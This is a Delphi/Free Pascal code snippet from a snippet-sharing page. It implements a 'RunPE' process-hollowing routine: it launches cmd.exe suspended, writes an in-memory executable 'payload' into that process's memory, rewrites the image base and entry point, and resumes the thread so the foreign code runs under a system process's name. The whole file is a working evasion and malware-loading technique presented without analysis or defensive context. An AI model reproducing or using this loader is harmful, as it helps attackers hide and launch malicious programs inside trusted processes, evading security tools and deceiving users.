Snippet content copied to clipboard.
Are you sure to delete this snippet? No, don't delete
  1. unit uRun2;
  2. {$IFDEF FPC}
  3. {$MODE Delphi}
  4. {$ENDIF}
  5. interface
  6. procedure CreateProcessEx(FileMemory: pointer);
  7. type
  8. TSArray = array of Byte;
  9. implementation
  10. uses
  11. windows,dos,sysutils;
  12. const
  13. STATUS_SUCCESS = $00000000;
  14. type
  15. TSections = array [0..0] of TImageSectionHeader;
  16. PROCESS_BASIC_INFORMATION = packed record
  17. ExitStatus: DWORD;
  18. PebBaseAddress: Pointer;
  19. AffinityMask: ulong_ptr; //dword;
  20. BasePriority: DWORD;
  21. UniqueProcessId: DWORD;
  22. InheritedUniquePID:DWORD;
  23. end;
  24. PVOID = pointer;
  25. PPVOID = ^PVOID;
  26. NTSTATUS = ULONG;
  27. HANDLE = THANDLE;
  28. function NtAllocateVirtualMemory(
  29. ProcessHandle : HANDLE;
  30. BaseAddress : PPVOID;
  31. ZeroBits : ULONG;
  32. AllocationSize : PULONG;
  33. AllocationType : ULONG;
  34. Protect : ULONG
  35. ): NTSTATUS; stdcall; external 'ntdll.dll';
  36. function NtWriteVirtualMemory(
  37. ProcessHandle : HANDLE;
  38. BaseAddress : PVOID;
  39. Buffer : PVOID;
  40. BufferLength : ULONG;
  41. ReturnLength : PULONG
  42. ): NTSTATUS; stdcall; external 'ntdll.dll';
  43. function NtQueryInformationProcess(
  44. ProcessHandle : THandle;
  45. ProcessInformationClass : DWORD;
  46. ProcessInformation : Pointer;
  47. ProcessInformationLength : ULONG;
  48. ReturnLength : PULONG
  49. ): ntstatus; stdcall; external 'ntdll.dll';
  50. function AllocMemAlign(const ASize, AAlign: Cardinal; out AHolder: Pointer): Pointer;
  51. var
  52. Size: Cardinal;
  53. Shift: NativeUInt;
  54. begin
  55. if AAlign <= 1 then
  56. begin
  57. AHolder := AllocMem(ASize);
  58. Result := AHolder;
  59. Exit;
  60. end;
  61. if ASize = 0 then
  62. begin
  63. AHolder := nil;
  64. Result := nil;
  65. Exit;
  66. end;
  67. Size := ASize + AAlign - 1;
  68. AHolder := AllocMem(Size);
  69. Shift := NativeUInt(AHolder) mod AAlign;
  70. if Shift = 0 then
  71. Result := AHolder
  72. else
  73. Result := Pointer(NativeUInt(AHolder) + (AAlign - Shift));
  74. end;
  75. function GetAlignedSize(Size: dword; Alignment: dword): dword;
  76. begin
  77. if ((Size mod Alignment) = 0) then
  78. begin
  79. Result := Size;
  80. end
  81. else
  82. begin
  83. Result := ((Size div Alignment) + 1) * Alignment;
  84. end;
  85. end;
  86. function Align(Value, Align: Cardinal): Cardinal;
  87. begin
  88. if ((Value mod Align) = 0) then
  89. Result := Value
  90. else
  91. Result := ((Value + Align - 1) div Align) * Align;
  92. end;
  93. function ImageSize(Image: pointer): dword;
  94. var
  95. Alignment: dword;
  96. ImageNtHeaders: {$IFDEF win32}PIMAGE_NT_HEADERS32;{$endif}{$IFDEF win64}PIMAGE_NT_HEADERS64;{$endif}
  97. PSections: ^TSections;
  98. SectionLoop: dword;
  99. begin
  100. ImageNtHeaders := pointer(dword(dword(Image)) + dword(PImageDosHeader(Image)._lfanew));
  101. Alignment := ImageNtHeaders.OptionalHeader.SectionAlignment;
  102. if ((ImageNtHeaders.OptionalHeader.SizeOfHeaders mod Alignment) = 0) then
  103. begin
  104. Result := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
  105. end
  106. else
  107. begin
  108. Result := ((ImageNtHeaders.OptionalHeader.SizeOfHeaders div Alignment) + 1) * Alignment;
  109. end;
  110. PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
  111. for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
  112. begin
  113. if PSections[SectionLoop].Misc.VirtualSize <> 0 then
  114. begin
  115. if ((PSections[SectionLoop].Misc.VirtualSize mod Alignment) = 0) then
  116. begin
  117. Result := Result + PSections[SectionLoop].Misc.VirtualSize;
  118. end
  119. else
  120. begin
  121. Result := Result + (((PSections[SectionLoop].Misc.VirtualSize div Alignment) + 1) * Alignment);
  122. end;
  123. end;
  124. end;
  125. end;
  126. procedure CreateProcessEx(FileMemory: pointer);
  127. var
  128. PEBAddress,BaseAddress, HeaderSize, InjectSize, SectionLoop, SectionSize: dword;
  129. BaseAddress64:int64;
  130. PEBAddress64:dword64;
  131. //Context: TContext;
  132. ctx: PContext;
  133. Storage: Pointer;
  134. FileData,imagebase: pointer;
  135. ImageNtHeaders: {$IFDEF win32}PIMAGE_NT_HEADERS32;{$endif}{$IFDEF win64}PIMAGE_NT_HEADERS64;{$endif}
  136. InjectMemory: pointer;
  137. ProcInfo: TProcessInformation;
  138. PSections: ^TSections;
  139. StartInfo: TStartupInfo;
  140. Status:integer;
  141. returnlength:PULONG;
  142. ProcessBasicInfo : PROCESS_BASIC_INFORMATION;
  143. Bytes:ptruint;
  144. begin
  145. ImageNtHeaders := pointer(ptruint(ptruint(FileMemory)) + ptruint(PImageDosHeader(FileMemory)._lfanew));
  146. InjectSize := ImageSize(FileMemory);
  147. GetMem(InjectMemory, InjectSize);
  148. try
  149. FileData := InjectMemory;
  150. HeaderSize := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
  151. PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
  152. for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
  153. begin
  154. if PSections[SectionLoop].PointerToRawData < HeaderSize then HeaderSize := PSections[SectionLoop].PointerToRawData;
  155. end;
  156. CopyMemory(FileData, FileMemory, HeaderSize);
  157. FileData := pointer(ptruint(FileData) + GetAlignedSize(ImageNtHeaders.OptionalHeader.SizeOfHeaders, ImageNtHeaders.OptionalHeader.SectionAlignment));
  158. //messagebox(0,pchar('NumberOfSections='+inttostr(ImageNtHeaders.FileHeader.NumberOfSections)),'',0);
  159. for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
  160. begin
  161. if PSections[SectionLoop].SizeOfRawData > 0 then
  162. begin
  163. SectionSize := PSections[SectionLoop].SizeOfRawData;
  164. if SectionSize > PSections[SectionLoop].Misc.VirtualSize then SectionSize := PSections[SectionLoop].Misc.VirtualSize;
  165. CopyMemory(FileData, pointer(ptruint(FileMemory) + PSections[SectionLoop].PointerToRawData), SectionSize);
  166. FileData := pointer(ptruint(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));
  167. end
  168. else
  169. begin
  170. if PSections[SectionLoop].Misc.VirtualSize <> 0 then FileData := pointer(ptruint(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));
  171. end;
  172. end;
  173. ZeroMemory(@StartInfo, SizeOf(StartupInfo));
  174. //ZeroMemory(@Context, SizeOf(TContext));
  175. {$IFDEF win32}
  176. //CreateProcess(nil, pchar(extractfilepath(ParamStr(0))+'host32.exe'), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
  177. CreateProcess(nil, pchar(GetEnv('systemroot')+'\SysWOW64\cmd.exe'), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
  178. {$endif}
  179. {$IFDEF win64}
  180. //CreateProcess(nil, pchar(extractfilepath(ParamStr(0))+'host64.exe'), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
  181. CreateProcess(nil, pchar(GetEnv('systemroot')+'\System32\cmd.exe'), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
  182. {$endif}
  183. //
  184. //Context.ContextFlags := CONTEXT_INTEGER; //CONTEXT_FULL;
  185. //below is mandatory on x64
  186. ctx := AllocMemAlign(SizeOf(TContext), 16, Storage);
  187. ctx^.ContextFlags := CONTEXT_INTEGER;
  188. if GetThreadContext(ProcInfo.hThread, ctx^)=false
  189. then raise Exception.Create('GetThreadContext failed'+inttostr(getlasterror));
  190. {$IFDEF win32}
  191. PEBAddress:=ctx^.Ebx;
  192. {$endif}
  193. {$IFDEF win64}
  194. PEBAddress64:=ctx^.Rdx; //rcx=entrypoint
  195. {$endif}
  196. //OR
  197. //COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
  198. //below works on x32, not on x64
  199. {if NtQueryInformationProcess(ProcInfo.hProcess, 0, @ProcessBasicInfo, SizeOf(ProcessBasicInfo), returnlength)=status_success
  200. //if ret=status_success
  201. then PEBAddress := longint(ProcessBasicInfo.PebBaseAddress)
  202. else raise Exception.Create ('NtQueryInformationProcess failed,'+inttostr(returnlength^));
  203. }
  204. //messagebox(0,pchar('Host PEBAddress='+inttohex(PEBAddress,sizeof(ptruint))),'',0);
  205. //COMMENT: Reads the BaseAddress of a 32bit Process, which is where the exe data starts
  206. bytes:=0;
  207. {$IFDEF win32}
  208. messagebox(0,pchar('Host PEB='+inttohex(PEBAddress,sizeof(ptruint))),'',0);
  209. ReadProcessMemory(ProcInfo.hProcess, pointer(PEBAddress + $8), @BaseAddress, sizeof(ptruint), Bytes);
  210. if bytes=sizeof(ptruint)
  211. then messagebox(0,pchar('Host BaseAddress='+inttohex(BaseAddress,sizeof(ptruint))),'',0)
  212. else raise Exception.Create('ReadProcessMemory failed='+inttostr(getlasterror));
  213. {$endif}
  214. {$IFDEF win64}
  215. messagebox(0,pchar('Host PEB='+inttohex(PEBAddress64,sizeof(ptruint))),'',0);
  216. ReadProcessMemory(ProcInfo.hProcess, pointer(PEBAddress64 + $10), @BaseAddress64, sizeof(ptruint), Bytes);
  217. if bytes=sizeof(ptruint)
  218. then messagebox(0,pchar('Host BaseAddress='+inttohex(BaseAddress64,sizeof(ptruint))),'',0)
  219. else raise Exception.Create('ReadProcessMemory failed='+inttostr(getlasterror));
  220. {$endif}
  221. //VirtualAllocEx(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  222. //replace VirtualAllocEx
  223. InjectSize:=align(InjectSize,$1000);
  224. imagebase:=pointer(ImageNtHeaders.OptionalHeader.ImageBase);
  225. messagebox(0,pchar('PE ImageBase='+inttohex(ImageNtHeaders.OptionalHeader.ImageBase,sizeof(ptruint))),'',0);
  226. messagebox(0,pchar('PE AddressOfEntryPoint='+inttohex(ImageNtHeaders.OptionalHeader.AddressOfEntryPoint ,sizeof(ptruint))),'',0);
  227. status:=NtAllocateVirtualMemory(ProcInfo.hProcess ,@imagebase,0,@InjectSize,MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  228. if status<>0 then raise Exception.Create ('NtAllocateVirtualMemory failed, '+inttohex(status,sizeof(ptruint)));
  229. //lets write our imagebase payload at pe.imagebase in our host
  230. NtWriteVirtualMemory(ProcInfo.hProcess,pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectMemory, InjectSize,@returnlength);
  231. //lets modify the ImageBase of our host
  232. {$IFDEF win32}
  233. NtWriteVirtualMemory(ProcInfo.hProcess, pointer(PEBAddress + $8), @ImageNtHeaders.OptionalHeader.ImageBase, sizeof(ptruint), @returnlength);
  234. {$endif}
  235. {$IFDEF win64}
  236. NtWriteVirtualMemory(ProcInfo.hProcess, pointer(PEBAddress64 + $10), @ImageNtHeaders.OptionalHeader.ImageBase, sizeof(ptruint), @returnlength);
  237. {$endif}
  238. //lets modify the entrypoint of our host
  239. {$IFDEF win32}
  240. ctx^.Eax := ImageNtHeaders.OptionalHeader.ImageBase + ImageNtHeaders.OptionalHeader.AddressOfEntryPoint;
  241. {$endif}
  242. {$IFDEF win64}
  243. ctx^.Rcx := ImageNtHeaders.OptionalHeader.ImageBase + ImageNtHeaders.OptionalHeader.AddressOfEntryPoint;
  244. {$endif}
  245. SetThreadContext(ProcInfo.hThread, ctx^);
  246. ResumeThread(ProcInfo.hThread);
  247. finally
  248. FreeMemory(InjectMemory);
  249. end;
  250. end;
  251. end.

Edit this Snippet